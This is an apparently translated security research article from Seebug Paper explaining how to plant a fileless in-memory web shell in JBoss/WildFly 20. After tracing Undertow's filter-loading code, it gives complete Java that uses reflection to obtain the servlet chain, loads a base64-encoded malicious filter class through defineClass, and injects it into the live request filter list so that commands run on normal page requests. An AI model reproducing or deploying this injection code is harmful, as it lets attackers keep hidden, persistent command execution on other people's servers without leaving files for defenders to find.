Research on JBOSS file free web shell

Author: wide byte securityOriginal link: https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKwThis article is the author's c...
0x01 wildfly load Filter analysis
0x02 implementation
0x03 result inspection

Author: wide byte security
Original link: https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw
This article is the author's contribution. Seebug Paper is looking forward to your sharing. If you use it, you will have a gift!
Submission email: [email protected]


In the previous articles, I mainly studied the file free web shell of tomcat and weblogic. This paper focuses on jboss's fileless webhsell. The following analysis is based on the community version of jboss, wildfly-20.0.0.Final.

0x01 wildfly load Filter analysis

Make a breakpoint at the Filter, as shown in the figure, and observe the stack

jboss is relatively simple, and the code to process Filter is as follows

io.undertow.servlet.handlers.FilterHandler#handleRequest public void handleRequest(HttpServerExchange exchange) throws Exception { ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY); ServletRequest request = servletRequestContext.getServletRequest(); ServletResponse response = servletRequestContext.getServletResponse(); DispatcherType dispatcher = servletRequestContext.getDispatcherType(); Boolean supported = (Boolean)this.asyncSupported.get(dispatcher); if (supported != null && !supported) { servletRequestContext.setAsyncSupported(false); } List<ManagedFilter> filters = (List)this.filters.get(dispatcher); if (filters == null) { this.next.handleRequest(exchange); } else { FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers); filterChain.doFilter(request, response); } }

In the handleRequest method of the FilterHandler, get the filter to create the filter. And create FilterChainImpl. We continue to look up which functions call hadleRequest. stay io.undertow.servlet.handlers.ServletChain#ServletChain Method, the forceInit method is executed, and the code of the forceInit method is as follows

io.undertow.servlet.handlers.ServletChain#forceInit List<ManagedFilter> list = filters.get(dispatcherType); if(list != null && !list.isEmpty()) { for(int i = 0; i < list.size(); ++i) { ManagedFilter filter = list.get(i); filter.forceInit(); } }

Follow the forceInit method of ManagedFilter. The main function of forceInit method is to call the createFilter method of ManagedFilter to initialize a Filter. The code is as follows

public void createFilter() throws ServletException { synchronized (this) { if (filter == null) { try { handle = filterInfo.getInstanceFactory().createInstance(); } catch (Exception e) { throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e); } Filter filter = handle.getInstance(); new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed(); this.filter = filter; } } }

We can see that in this function, if it is detected that the Filter is not registered, a Filter will be initialized through LifecyleInterceptorInvocation and added to the Filter of the FilterHandler.

0x02 implementation

1. Get ServletChain

In the ServletRequestContext, we can find the following methods

/** * Gets the current threads {@link ServletRequestContext} if set, otherwise null. * * @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable */ public static ServletRequestContext current() { SecurityManager sm = System.getSecurityManager(); if(sm != null) { sm.checkPermission(GET_CURRENT_REQUEST); } return CURRENT.get(); }

Through s ervletRequestContext.current This static method can get the current ServletRequestContext object. In the ServletRequestContext object, the ServerChain object we need is stored.

2. Get the filter of ServletChain by reflection

The type of filter is EnumMap, the key is REQUEST, and the value is array. The filter to be called is stored in turn. It can be called by reflection. The code is as follows

Field filtersF = servletChain.getClass().getDeclaredField("filters"); filtersF.setAccessible(true); java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

3. Create ManagedFilter

In the filter of ServletChain, the type in the array is ManagedFilter. In the construction parameters of ManagedFilter, two parameters are required, namely FilterInfo and servletContext. These two parameters are constructed as follows

3.1 FilterInfo

In FilterInfo, not required Class.forName , load the Filter class by name. Instead, you only need to provide the class of Filter in the parameter. The relevant codes are as follows

public FilterInfo(final String name, final Class<? extends Filter> filterClass) { try { final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor(); ctor.setAccessible(true); this.instanceFactory = new ConstructorInstanceFactory<>(ctor); this.name = name; this.filterClass = filterClass; } catch (NoSuchMethodException e) { throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass); } }
3.2 servletContext

servletContext and Context are not of the same type. But you can get the servletContext object from the Context.

The complete code is as follows

Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current"); Object curContext = currentM.invoke(null); Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet"); Object servletChain = getCurrentServletM.invoke(curContext); Field filtersF = servletChain.getClass().getDeclaredField("filters"); filtersF.setAccessible(true); java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain); String evilFilterClassName = "testFilter1"; Class evilFilterClass = null; try { evilFilterClass = Class.forName(evilFilterClassName); } catch (ClassNotFoundException e) { BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder(); String codeClass = "H4sIAAAAAAAA..."; Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassM.setAccessible(true); evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length); } ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST); Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass); Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest"); servletRequestF.setAccessible(true); Object obj = servletRequestF.get(curContext); Field servletContextF = obj.getClass().getDeclaredField("servletContext"); servletContextF.setAccessible(true); Object servletContext = servletContextF.get(obj); Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext); filterList.add(evilManagedFilter);

0x03 result inspection

jboss has some special features. The memory horse above can only be triggered in pages that can be accessed normally. The effect is as follows

Add the command that needs to be executed, the memory horse starts to execute the command, and enters the result

Normal access page, no response

This article was published by Seebug Paper. If you need to reprint it, please indicate the source. Address: https://paper.seebug.org/1252/

23 June 2020, 05:12 | Views: 9480

Add new comment

For adding a comment, please log in
or create account

0 comments